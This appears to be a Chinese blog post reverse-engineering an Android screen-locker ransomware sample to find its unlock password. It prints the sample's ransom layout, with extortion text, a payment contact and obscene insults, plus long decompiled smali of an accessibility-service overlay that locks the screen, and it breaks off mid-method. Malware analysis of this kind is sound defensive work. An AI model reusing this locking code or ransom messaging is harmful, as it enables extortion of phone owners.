某锁机软件的逆向分析

观前提醒

之前在Q群里有人提供了个锁机软件样本，今天的主要任务是逆向它，找出密码或密码算法
请注意：本文中含有大量无法避免的限制级内容(粗俗、辱骂等)，不适合所有人阅读(R16+)，请在仔细审慎后再决定是否继续阅读。

当你决定好要继续阅读时，即代表同意接受这些未知风险（？）

开端

找他要到了原包，就可以开始解包了。

外部资源与组件定位

根据经验，首先去/res/layout/里面找main_activity.xml，看看它的主界面都是些什么内容
不过它这里是activity_main.xml，刚好反过来。不过也没事反正不影响理解

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:gravity="center"
    android:orientation="vertical"
    android:id="@id/pass"
    android:background="@drawable/image_2"
    android:layout_width="match_parent"
    android:layout_height="match_parent">
    <TextView
        android:textColor="#FFFF8F00"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="重启无效 刷机变砖 欢迎刷机" />
    <TextView
        android:textColor="#FF00FF40"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="数据已下载 壁纸已修改" />
    <TextView
        android:textAppearance="?android:attr/textAppearanceLarge"
        android:textStyle="bold"
        android:textColor="#FFFF0000"
        android:id="@id/yi"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="操你妈逼畜生白嫖狗 对着屏幕撸管射出来就能解锁 如果你阳痿射不出来请联系QQ付费代撸管 可上门代撸 代撸管技师QQ2531378623" />
    <TextView
        android:textColor="#FFFF0000"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="女鬼帮你口交 震动让你高潮" />
    <TextView
        android:textAppearance="?android:attr/textAppearanceLarge"
        android:textStyle="bold"
        android:textColor="#FF00FF10"
        android:id="@id/tv"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_marginTop="10dp"
        android:layout_marginBottom="10dp"
        android:text="联系QQ打钱解锁 墨迹先解的二逼勿扰" />
    <TextView
        android:textAppearance="?android:attr/textAppearanceLarge"
        android:textStyle="bold"
        android:textColor="#FF004EFF"
        android:id="@id/TextView2"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="解锁QQ2531378623" />
    <EditText
        android:textStyle="bold"
        android:textColor="#FF00B3FF"
        android:textColorHint="#FF00F7E2"
        android:gravity="center"
        android:id="@id/sr"
        android:scrollbars="vertical"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_marginTop="10dp"
        android:layout_marginBottom="10dp"
        android:hint="亲一下屏幕即可解锁"
        android:ems="10"
        android:maxLength="20"
        android:shadowColor="#FF00FFE9" />
    <LinearLayout
        android:orientation="horizontal"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content">
        <Button
            android:id="@id/b0"
            android:layout_width="40dp"
            android:layout_height="wrap_content"
            android:text="0" />
        <Button
            android:id="@id/b1"
            android:layout_width="40dp"
            android:layout_height="wrap_content"
            android:text="1" />
        <Button
            android:id="@id/b2"
            android:layout_width="40dp"
            android:layout_height="wrap_content"
            android:text="2" />
        <Button
            android:id="@id/b3"
            android:layout_width="40dp"
            android:layout_height="wrap_content"
            android:text="3" />
        <Button
            android:id="@id/b4"
            android:layout_width="40dp"
            android:layout_height="wrap_content"
            android:text="4" />
    </LinearLayout>
    <LinearLayout
        android:orientation="horizontal"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content">
        <Button
            android:id="@id/b5"
            android:layout_width="40dp"
            android:layout_height="wrap_content"
            android:text="5" />
        <Button
            android:id="@id/b6"
            android:layout_width="40dp"
            android:layout_height="wrap_content"
            android:text="6" />
        <Button
            android:id="@id/b7"
            android:layout_width="40dp"
            android:layout_height="wrap_content"
            android:text="7" />
        <Button
            android:id="@id/bt8"
            android:layout_width="40dp"
            android:layout_height="wrap_content"
            android:text="8" />
        <Button
            android:id="@id/b9"
            android:layout_width="40dp"
            android:layout_height="wrap_content"
            android:text="9" />
    </LinearLayout>
    <LinearLayout
        android:orientation="horizontal"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content">
        <Button
            android:textColor="#FF00F4FD"
            android:id="@id/bt"
            android:layout_width="0dp"
            android:layout_height="wrap_content"
            android:text="解锁"
            android:layout_weight="1.0" />
        <Button
            android:textColor="#FFF600AE"
            android:id="@id/sc"
            android:layout_width="0dp"
            android:layout_height="wrap_content"
            android:text="X"
            android:layout_weight="1.0" />
    </LinearLayout>
    <TextView
        android:textAppearance="?android:attr/textAppearanceLarge"
        android:textStyle="bold"
        android:textColor="#FF00FF40"
        android:id="@id/cw"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="text" />
    <LinearLayout
        android:gravity="center"
        android:orientation="horizontal"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_marginTop="10dp"
        android:layout_marginBottom="10dp">
        <TextView
            android:textAppearance="?android:attr/textAppearanceLarge"
            android:textSize="20sp"
            android:textStyle="bold|italic"
            android:textColor="#FF00FF40"
            android:id="@id/傻逼"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content" />
    </LinearLayout>
</LinearLayout>

于是我们便得到了解锁按钮的id字段为@id/bt。
还有虽然我到现在都还没运行过这软件，但是从这里也能看出这作者真是“素质感人”，不骂人都不会说话了
那个“上门代撸”可真是戳中我笑点了，哈哈哈

下一步，去resources.arsc里面去找这个按钮的ID，找到这个按钮映射的资源
打开MT管理器的Arsc编辑器，然后就能轻易找到com.mini.hacker/id这个路径
很明显，这里应该就是存放按钮等组件的ID资源的地方了
过滤bt字段：

于是就得到了第00AD个资源就是我们要找的那个解锁按钮
长按，复制ID

至此，我们终于得到了解锁按钮真正的ID：7f0a00ad

深入代码与逻辑分析

拿到这个基本信息以后，就可以去看代码深入到更进一步的底层中了

找解锁按钮的调用

用Dex编辑器++打开软件内的那唯一一个Dalvik字节码文件classes.dex，然后直接搜索7f0a00ad，类型选择“代码”
具体参考如下：

搜索结果有20个，并且几乎全部都是R$id类。
除了androidx.和com.google.开头的软件包以外，还有那最特别的一个：

肯定这个a类就是解锁按钮所在的调用了

分析a类

下面是a类的smail指令。如果太长影响阅读的话可以将它折叠，后面会用到这里

.class public Lcom/Qinjian/a;
.super Landroid/accessibilityservice/AccessibilityService;
.source "a.java"


# annotations
.annotation system Ldalvik/annotation/MemberClasses;
    value = {
        Lcom/Qinjian/a$100000002;,
        Lcom/Qinjian/a$100000003;,
        Lcom/Qinjian/a$100000004;,
        Lcom/Qinjian/a$100000005;,
        Lcom/Qinjian/a$100000000;,
        Lcom/Qinjian/a$100000001;
    }
.end annotation


# static fields
.field private static final VIBRATION_DURATION:J = 0x3e8L

.field private static final 破解软件者不得好死你他妈就是被强奸避孕失败生出你这个没闭眼的畜生你妈生你时是不是把人扔了把胎盘养大:I = 0x64


# instance fields
.field private M0v:Z

.field private blinkRunnable:Ljava/lang/Runnable;

.field private cL1:I

.field private ci:Ljava/lang/String;

.field private cm:Landroid/hardware/camera2/CameraManager;

.field private f:Z

.field private h:Landroid/os/Handler;

.field private mAudioManager:Landroid/media/AudioManager;

.field private mHandler:Landroid/os/Handler;

.field private maskView:Landroid/widget/LinearLayout;

.field private pW:Ljava/lang/String;

.field private pW0:I

.field private toggleFlashRunnable:Ljava/lang/Runnable;

.field private vibrator:Landroid/os/Vibrator;

.field private 艹你妈小逼崽子破解你妈啊我闪电博士直接把你妈给熬成桂龙药膏:Ljava/lang/String;


# direct methods
.method public constructor <init>()V
    .registers 8

    .prologue
    .line 402
    move-object v0, p0

    move-object v2, v0

    invoke-direct {v2}, Landroid/accessibilityservice/AccessibilityService;-><init>()V

    move-object v2, v0

    const/4 v3, 0x0

    iput v3, v2, Lcom/Qinjian/a;->pW0:I

    move-object v2, v0

    const/4 v3, 0x0

    iput-boolean v3, v2, Lcom/Qinjian/a;->M0v:Z

    move-object v2, v0

    const/4 v3, 0x1

    iput v3, v2, Lcom/Qinjian/a;->cL1:I

    move-object v2, v0

    new-instance v3, Landroid/os/Handler;

    move-object v6, v3

    move-object v3, v6

    move-object v4, v6

    invoke-direct {v4}, Landroid/os/Handler;-><init>()V

    iput-object v3, v2, Lcom/Qinjian/a;->h:Landroid/os/Handler;

    move-object v2, v0

    const/4 v3, 0x0

    iput-boolean v3, v2, Lcom/Qinjian/a;->f:Z

    move-object v2, v0

    new-instance v3, Lcom/Qinjian/a$100000000;

    move-object v6, v3

    move-object v3, v6

    move-object v4, v6

    move-object v5, v0

    invoke-direct {v4, v5}, Lcom/Qinjian/a$100000000;-><init>(Lcom/Qinjian/a;)V

    iput-object v3, v2, Lcom/Qinjian/a;->toggleFlashRunnable:Ljava/lang/Runnable;

    move-object v2, v0

    new-instance v3, Lcom/Qinjian/a$100000001;

    move-object v6, v3

    move-object v3, v6

    move-object v4, v6

    move-object v5, v0

    invoke-direct {v4, v5}, Lcom/Qinjian/a$100000001;-><init>(Lcom/Qinjian/a;)V

    iput-object v3, v2, Lcom/Qinjian/a;->blinkRunnable:Ljava/lang/Runnable;

    return-void
.end method

.method static synthetic access$1000024(Lcom/Qinjian/a;)V
    .registers 5

    move-object v0, p0

    move-object v3, v0

    invoke-direct {v3}, Lcom/Qinjian/a;->اللعنةعليك()V

    return-void
.end method

.method static synthetic access$L1000000(Lcom/Qinjian/a;)Landroid/widget/LinearLayout;
    .registers 5

    move-object v0, p0

    move-object v3, v0

    iget-object v3, v3, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    move-object v0, v3

    return-object v0
.end method

.method static synthetic access$L1000001(Lcom/Qinjian/a;)I
    .registers 5

    move-object v0, p0

    move-object v3, v0

    iget v3, v3, Lcom/Qinjian/a;->pW0:I

    move v0, v3

    return v0
.end method

.method static synthetic access$L1000003(Lcom/Qinjian/a;)Ljava/lang/String;
    .registers 5

    move-object v0, p0

    move-object v3, v0

    iget-object v3, v3, Lcom/Qinjian/a;->pW:Ljava/lang/String;

    move-object v0, v3

    return-object v0
.end method

.method static synthetic access$L1000004()I
    .registers 3

    sget v2, Lcom/Qinjian/a;->破解软件者不得好死你他妈就是被强奸避孕失败生出你这个没闭眼的畜生你妈生你时是不是把人扔了把胎盘养大:I

    move v0, v2

    return v0
.end method

.method static synthetic access$L1000007(Lcom/Qinjian/a;)Landroid/media/AudioManager;
    .registers 5

    move-object v0, p0

    move-object v3, v0

    iget-object v3, v3, Lcom/Qinjian/a;->mAudioManager:Landroid/media/AudioManager;

    move-object v0, v3

    return-object v0
.end method

.method static synthetic access$L1000008(Lcom/Qinjian/a;)Z
    .registers 5

    move-object v0, p0

    move-object v3, v0

    iget-boolean v3, v3, Lcom/Qinjian/a;->M0v:Z

    move v0, v3

    return v0
.end method

.method static synthetic access$L1000011(Lcom/Qinjian/a;)Landroid/hardware/camera2/CameraManager;
    .registers 5

    move-object v0, p0

    move-object v3, v0

    iget-object v3, v3, Lcom/Qinjian/a;->cm:Landroid/hardware/camera2/CameraManager;

    move-object v0, v3

    return-object v0
.end method

.method static synthetic access$L1000012(Lcom/Qinjian/a;)Ljava/lang/String;
    .registers 5

    move-object v0, p0

    move-object v3, v0

    iget-object v3, v3, Lcom/Qinjian/a;->ci:Ljava/lang/String;

    move-object v0, v3

    return-object v0
.end method

.method static synthetic access$L1000013(Lcom/Qinjian/a;)Landroid/os/Handler;
    .registers 5

    move-object v0, p0

    move-object v3, v0

    iget-object v3, v3, Lcom/Qinjian/a;->h:Landroid/os/Handler;

    move-object v0, v3

    return-object v0
.end method

.method static synthetic access$L1000014(Lcom/Qinjian/a;)Z
    .registers 5

    move-object v0, p0

    move-object v3, v0

    iget-boolean v3, v3, Lcom/Qinjian/a;->f:Z

    move v0, v3

    return v0
.end method

.method static synthetic access$S1000000(Lcom/Qinjian/a;Landroid/widget/LinearLayout;)V
    .registers 8

    move-object v0, p0

    move-object v1, p1

    move-object v4, v0

    move-object v5, v1

    iput-object v5, v4, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    return-void
.end method

.method static synthetic access$S1000001(Lcom/Qinjian/a;I)V
    .registers 8

    move-object v0, p0

    move v1, p1

    move-object v4, v0

    move v5, v1

    iput v5, v4, Lcom/Qinjian/a;->pW0:I

    return-void
.end method

.method static synthetic access$S1000003(Lcom/Qinjian/a;Ljava/lang/String;)V
    .registers 8

    move-object v0, p0

    move-object v1, p1

    move-object v4, v0

    move-object v5, v1

    iput-object v5, v4, Lcom/Qinjian/a;->pW:Ljava/lang/String;

    return-void
.end method

.method static synthetic access$S1000004(I)V
    .registers 5

    move v0, p0

    move v3, v0

    sput v3, Lcom/Qinjian/a;->破解软件者不得好死你他妈就是被强奸避孕失败生出你这个没闭眼的畜生你妈生你时是不是把人扔了把胎盘养大:I

    return-void
.end method

.method static synthetic access$S1000007(Lcom/Qinjian/a;Landroid/media/AudioManager;)V
    .registers 8

    move-object v0, p0

    move-object v1, p1

    move-object v4, v0

    move-object v5, v1

    iput-object v5, v4, Lcom/Qinjian/a;->mAudioManager:Landroid/media/AudioManager;

    return-void
.end method

.method static synthetic access$S1000008(Lcom/Qinjian/a;Z)V
    .registers 8

    move-object v0, p0

    move v1, p1

    move-object v4, v0

    move v5, v1

    iput-boolean v5, v4, Lcom/Qinjian/a;->M0v:Z

    return-void
.end method

.method static synthetic access$S1000011(Lcom/Qinjian/a;Landroid/hardware/camera2/CameraManager;)V
    .registers 8

    move-object v0, p0

    move-object v1, p1

    move-object v4, v0

    move-object v5, v1

    iput-object v5, v4, Lcom/Qinjian/a;->cm:Landroid/hardware/camera2/CameraManager;

    return-void
.end method

.method static synthetic access$S1000012(Lcom/Qinjian/a;Ljava/lang/String;)V
    .registers 8

    move-object v0, p0

    move-object v1, p1

    move-object v4, v0

    move-object v5, v1

    iput-object v5, v4, Lcom/Qinjian/a;->ci:Ljava/lang/String;

    return-void
.end method

.method static synthetic access$S1000013(Lcom/Qinjian/a;Landroid/os/Handler;)V
    .registers 8

    move-object v0, p0

    move-object v1, p1

    move-object v4, v0

    move-object v5, v1

    iput-object v5, v4, Lcom/Qinjian/a;->h:Landroid/os/Handler;

    return-void
.end method

.method static synthetic access$S1000014(Lcom/Qinjian/a;Z)V
    .registers 8

    move-object v0, p0

    move v1, p1

    move-object v4, v0

    move v5, v1

    iput-boolean v5, v4, Lcom/Qinjian/a;->f:Z

    return-void
.end method

.method private closeMaskView()V
    .registers 7
    .annotation system Ldalvik/annotation/Signature;
        value = {
            "()V"
        }
    .end annotation

    .prologue
    .line 364
    move-object v0, p0

    move-object v4, v0

    iget-object v4, v4, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    if-eqz v4, :cond_1d

    .line 365
    move-object v4, v0

    const-string v5, "window"

    invoke-virtual {v4, v5}, Lcom/Qinjian/a;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;

    move-result-object v4

    check-cast v4, Landroid/view/WindowManager;

    move-object v2, v4

    .line 366
    move-object v4, v2

    move-object v5, v0

    iget-object v5, v5, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    invoke-interface {v4, v5}, Landroid/view/WindowManager;->removeView(Landroid/view/View;)V

    .line 367
    move-object v4, v0

    const/4 v5, 0x0

    check-cast v5, Landroid/widget/LinearLayout;

    iput-object v5, v4, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    :cond_1d
    return-void
.end method

.method private createMaskView()V
    .registers 24
    .annotation system Ldalvik/annotation/Signature;
        value = {
            "()V"
        }
    .end annotation

    .prologue
    .line 177
    move-object/from16 v2, p0

    new-instance v14, Landroid/view/WindowManager$LayoutParams;

    move-object/from16 v22, v14

    move-object/from16 v14, v22

    move-object/from16 v15, v22

    const/16 v16, -0x1

    const/16 v17, -0x1

    sget v18, Landroid/os/Build$VERSION;->SDK_INT:I

    const/16 v19, 0x1a

    move/from16 v0, v18

    move/from16 v1, v19

    if-lt v0, v1, :cond_1a3

    const/16 v18, 0x7f0

    :goto_1a
    const v19, 0x40528

    const/16 v20, -0x3

    invoke-direct/range {v15 .. v20}, Landroid/view/WindowManager$LayoutParams;-><init>(IIIII)V

    move-object v4, v14

    .line 189
    move-object v14, v2

    const-string v15, "window"

    invoke-virtual {v14, v15}, Lcom/Qinjian/a;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;

    move-result-object v14

    check-cast v14, Landroid/view/WindowManager;

    move-object v5, v14

    .line 192
    move-object v14, v2

    move-object v15, v2

    invoke-static {v15}, Landroid/view/LayoutInflater;->from(Landroid/content/Context;)Landroid/view/LayoutInflater;

    move-result-object v15

    const v16, 0x7f03001d

    const/16 v17, 0x0

    check-cast v17, Landroid/view/ViewGroup;

    invoke-virtual/range {v15 .. v17}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;)Landroid/view/View;

    move-result-object v15

    check-cast v15, Landroid/widget/LinearLayout;

    iput-object v15, v14, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    .line 194
    move-object v14, v5

    move-object v15, v2

    iget-object v15, v15, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    move-object/from16 v16, v4

    invoke-interface/range {v14 .. v16}, Landroid/view/WindowManager;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V

    .line 197
    move-object v14, v2

    iget-object v14, v14, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    const v15, 0x7f0a00ad

    invoke-virtual {v14, v15}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;

    move-result-object v14

    check-cast v14, Landroid/widget/Button;

    move-object v6, v14

    .line 201
    move-object v14, v2

    iget-object v14, v14, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    const v15, 0x7f0a00af

    invoke-virtual {v14, v15}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;

    move-result-object v14

    check-cast v14, Landroid/widget/TextView;

    move-object v7, v14

    .line 202
    move-object v14, v2

    iget-object v14, v14, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    const v15, 0x7f0a00a0

    invoke-virtual {v14, v15}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;

    move-result-object v14

    check-cast v14, Landroid/widget/TextView;

    move-object v8, v14

    .line 204
    move-object v14, v2

    iget-object v14, v14, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    const v15, 0x7f0a00a2

    invoke-virtual {v14, v15}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;

    move-result-object v14

    check-cast v14, Landroid/widget/EditText;

    move-object v9, v14

    .line 207
    move-object v14, v2

    invoke-direct {v14}, Lcom/Qinjian/a;->死妈东西我一分钟把你全家祖坟给你刨了然后把你家骨灰盒给扬了()V

    .line 209
    move-object v14, v2

    invoke-direct {v14}, Lcom/Qinjian/a;->艹你妈傻逼还想破解我操你妈祖宗十八代女性当然漂亮的才操还有操你未来的全部女后代当然还是老规矩漂亮的才艹()V

    .line 213
    move-object v14, v6

    const-string v15, "解锁"

    invoke-virtual {v14, v15}, Landroid/widget/Button;->setText(Ljava/lang/CharSequence;)V

    .line 215
    const/16 v14, 0xa

    new-array v14, v14, [Landroid/widget/Button;

    move-object v10, v14

    .line 216
    move-object v14, v10

    const/4 v15, 0x0

    move-object/from16 v16, v2

    move-object/from16 v0, v16

    iget-object v0, v0, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    move-object/from16 v16, v0

    const v17, 0x7f0a00a3

    invoke-virtual/range {v16 .. v17}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;

    move-result-object v16

    check-cast v16, Landroid/widget/Button;

    aput-object v16, v14, v15

    .line 217
    move-object v14, v10

    const/4 v15, 0x1

    move-object/from16 v16, v2

    move-object/from16 v0, v16

    iget-object v0, v0, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    move-object/from16 v16, v0

    const v17, 0x7f0a00a4

    invoke-virtual/range {v16 .. v17}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;

    move-result-object v16

    check-cast v16, Landroid/widget/Button;

    aput-object v16, v14, v15

    .line 218
    move-object v14, v10

    const/4 v15, 0x2

    move-object/from16 v16, v2

    move-object/from16 v0, v16

    iget-object v0, v0, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    move-object/from16 v16, v0

    const v17, 0x7f0a00a5

    invoke-virtual/range {v16 .. v17}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;

    move-result-object v16

    check-cast v16, Landroid/widget/Button;

    aput-object v16, v14, v15

    .line 219
    move-object v14, v10

    const/4 v15, 0x3

    move-object/from16 v16, v2

    move-object/from16 v0, v16

    iget-object v0, v0, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    move-object/from16 v16, v0

    const v17, 0x7f0a00a6

    invoke-virtual/range {v16 .. v17}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;

    move-result-object v16

    check-cast v16, Landroid/widget/Button;

    aput-object v16, v14, v15

    .line 220
    move-object v14, v10

    const/4 v15, 0x4

    move-object/from16 v16, v2

    move-object/from16 v0, v16

    iget-object v0, v0, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    move-object/from16 v16, v0

    const v17, 0x7f0a00a7

    invoke-virtual/range {v16 .. v17}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;

    move-result-object v16

    check-cast v16, Landroid/widget/Button;

    aput-object v16, v14, v15

    .line 221
    move-object v14, v10

    const/4 v15, 0x5

    move-object/from16 v16, v2

    move-object/from16 v0, v16

    iget-object v0, v0, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    move-object/from16 v16, v0

    const v17, 0x7f0a00a8

    invoke-virtual/range {v16 .. v17}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;

    move-result-object v16

    check-cast v16, Landroid/widget/Button;

    aput-object v16, v14, v15

    .line 222
    move-object v14, v10

    const/4 v15, 0x6

    move-object/from16 v16, v2

    move-object/from16 v0, v16

    iget-object v0, v0, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    move-object/from16 v16, v0

    const v17, 0x7f0a00a9

    invoke-virtual/range {v16 .. v17}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;

    move-result-object v16

    check-cast v16, Landroid/widget/Button;

    aput-object v16, v14, v15

    .line 223
    move-object v14, v10

    const/4 v15, 0x7

    move-object/from16 v16, v2

    move-object/from16 v0, v16

    iget-object v0, v0, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    move-object/from16 v16, v0

    const v17, 0x7f0a00aa

    invoke-virtual/range {v16 .. v17}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;

    move-result-object v16

    check-cast v16, Landroid/widget/Button;

    aput-object v16, v14, v15

    .line 224
    move-object v14, v10

    const/16 v15, 0x8

    move-object/from16 v16, v2

    move-object/from16 v0, v16

    iget-object v0, v0, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    move-object/from16 v16, v0

    const v17, 0x7f0a00ab

    invoke-virtual/range {v16 .. v17}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;

    move-result-object v16

    check-cast v16, Landroid/widget/Button;

    aput-object v16, v14, v15

    .line 225
    move-object v14, v10

    const/16 v15, 0x9

    move-object/from16 v16, v2

    move-object/from16 v0, v16

    iget-object v0, v0, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    move-object/from16 v16, v0

    const v17, 0x7f0a00ac

    invoke-virtual/range {v16 .. v17}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;

    move-result-object v16

    check-cast v16, Landroid/widget/Button;

    aput-object v16, v14, v15

    .line 228
    const/4 v14, 0x0

    move v11, v14

    :goto_168
    move v14, v11

    move-object v15, v10

    array-length v15, v15

    if-lt v14, v15, :cond_1a7

    .line 240
    move-object v14, v2

    iget-object v14, v14, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    const v15, 0x7f0a00ae

    invoke-virtual {v14, v15}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;

    move-result-object v14

    check-cast v14, Landroid/widget/Button;

    move-object v11, v14

    .line 241
    move-object v14, v11

    new-instance v15, Lcom/Qinjian/a$100000003;

    move-object/from16 v22, v15

    move-object/from16 v15, v22

    move-object/from16 v16, v22

    move-object/from16 v17, v2

    move-object/from16 v18, v9

    invoke-direct/range {v16 .. v18}, Lcom/Qinjian/a$100000003;-><init>(Lcom/Qinjian/a;Landroid/widget/EditText;)V

    invoke-virtual {v14, v15}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V

    .line 252
    move-object v14, v6

    new-instance v15, Lcom/Qinjian/a$100000004;

    move-object/from16 v22, v15

    move-object/from16 v15, v22

    move-object/from16 v16, v22

    move-object/from16 v17, v2

    move-object/from16 v18, v6

    move-object/from16 v19, v7

    invoke-direct/range {v16 .. v19}, Lcom/Qinjian/a$100000004;-><init>(Lcom/Qinjian/a;Landroid/widget/Button;Landroid/widget/TextView;)V

    invoke-virtual {v14, v15}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V

    return-void

    .line 177
    :cond_1a3
    const/16 v18, 0x7f0

    goto/16 :goto_1a

    .line 229
    :cond_1a7
    move v14, v11

    move v12, v14

    .line 230
    move-object v14, v10

    move v15, v11

    aget-object v14, v14, v15

    new-instance v15, Lcom/Qinjian/a$100000002;

    move-object/from16 v22, v15

    move-object/from16 v15, v22

    move-object/from16 v16, v22

    move-object/from16 v17, v2

    move-object/from16 v18, v9

    move/from16 v19, v12

    invoke-direct/range {v16 .. v19}, Lcom/Qinjian/a$100000002;-><init>(Lcom/Qinjian/a;Landroid/widget/EditText;I)V

    invoke-virtual {v14, v15}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V

    .line 228
    add-int/lit8 v11, v11, 0x1

    goto :goto_168
.end method

.method private اللعنةعليك()V
    .registers 7
    .annotation system Ldalvik/annotation/Signature;
        value = {
            "()V"
        }
    .end annotation

    .prologue
    .line 297
    move-object v0, p0

    move-object v2, v0

    move-object v5, v2

    move-object v2, v5

    move-object v3, v5

    iget v3, v3, Lcom/Qinjian/a;->cL1:I

    const/4 v4, 0x1

    add-int/lit8 v3, v3, 0x1

    iput v3, v2, Lcom/Qinjian/a;->cL1:I

    .line 298
    move-object v2, v0

    iget v2, v2, Lcom/Qinjian/a;->cL1:I

    packed-switch v2, :pswitch_data_32

    .line 312
    move-object v2, v0

    invoke-direct {v2}, Lcom/Qinjian/a;->closeMaskView()V

    .line 314
    :goto_16
    return-void

    .line 300
    :pswitch_17  #0x2
    move-object v2, v0

    invoke-direct {v2}, Lcom/Qinjian/a;->死妈东西我一分钟把你全家祖坟给你刨了然后把你家骨灰盒给扬了()V

    .line 301
    move-object v2, v0

    invoke-direct {v2}, Lcom/Qinjian/a;->艹你妈傻逼还想破解我操你妈祖宗十八代女性当然漂亮的才操还有操你未来的全部女后代当然还是老规矩漂亮的才艹()V

    .line 302
    move-object v2, v0

    invoke-direct {v2}, Lcom/Qinjian/a;->第二层()V

    .line 304
    goto :goto_16

    .line 306
    :pswitch_24  #0x3
    move-object v2, v0

    invoke-direct {v2}, Lcom/Qinjian/a;->死妈东西我一分钟把你全家祖坟给你刨了然后把你家骨灰盒给扬了()V

    .line 307
    move-object v2, v0

    invoke-direct {v2}, Lcom/Qinjian/a;->艹你妈傻逼还想破解我操你妈祖宗十八代女性当然漂亮的才操还有操你未来的全部女后代当然还是老规矩漂亮的才艹()V

    .line 308
    move-object v2, v0

    invoke-direct {v2}, Lcom/Qinjian/a;->第三层()V

    .line 310
    goto :goto_16

    .line 298
    nop

    :pswitch_data_32
    .packed-switch 0x2
        :pswitch_17  #00000002
        :pswitch_24  #00000003
    .end packed-switch
.end method

.method private 你妈死了()V
    .registers 8
    .annotation system Ldalvik/annotation/Signature;
        value = {
            "()V"
        }
    .end annotation

    .prologue
    .line 372
    move-object v0, p0

    move-object v2, v0

    iget-boolean v2, v2, Lcom/Qinjian/a;->M0v:Z

    if-nez v2, :cond_1a

    .line 373
    move-object v2, v0

    const/4 v3, 0x1

    iput-boolean v3, v2, Lcom/Qinjian/a;->M0v:Z

    .line 374
    move-object v2, v0

    iget-object v2, v2, Lcom/Qinjian/a;->mHandler:Landroid/os/Handler;

    new-instance v3, Lcom/Qinjian/a$100000005;

    move-object v6, v3

    move-object v3, v6

    move-object v4, v6

    move-object v5, v0

    invoke-direct {v4, v5}, Lcom/Qinjian/a$100000005;-><init>(Lcom/Qinjian/a;)V

    invoke-virtual {v2, v3}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z

    move-result v2

    :cond_1a
    return-void
.end method

.method private 死妈东西我一分钟把你全家祖坟给你刨了然后把你家骨灰盒给扬了()V
    .registers 11
    .annotation system Ldalvik/annotation/Signature;
        value = {
            "()V"
        }
    .end annotation

    .prologue
    .line 347
    move-object v1, p0

    invoke-static {}, Ljava/lang/Math;->random()D

    move-result-wide v6

    const v8, 0x15f90

    int-to-double v8, v8

    mul-double/2addr v6, v8

    double-to-int v6, v6

    const/16 v7, 0x2710

    add-int/lit16 v6, v6, 0x2710

    move v3, v6

    .line 348
    move-object v6, v1

    move v7, v3

    invoke-static {v7}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;

    move-result-object v7

    iput-object v7, v6, Lcom/Qinjian/a;->艹你妈小逼崽子破解你妈啊我闪电博士直接把你妈给熬成桂龙药膏:Ljava/lang/String;

    .line 349
    move-object v6, v1

    iget-object v6, v6, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    const v7, 0x7f0a00b0

    invoke-virtual {v6, v7}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;

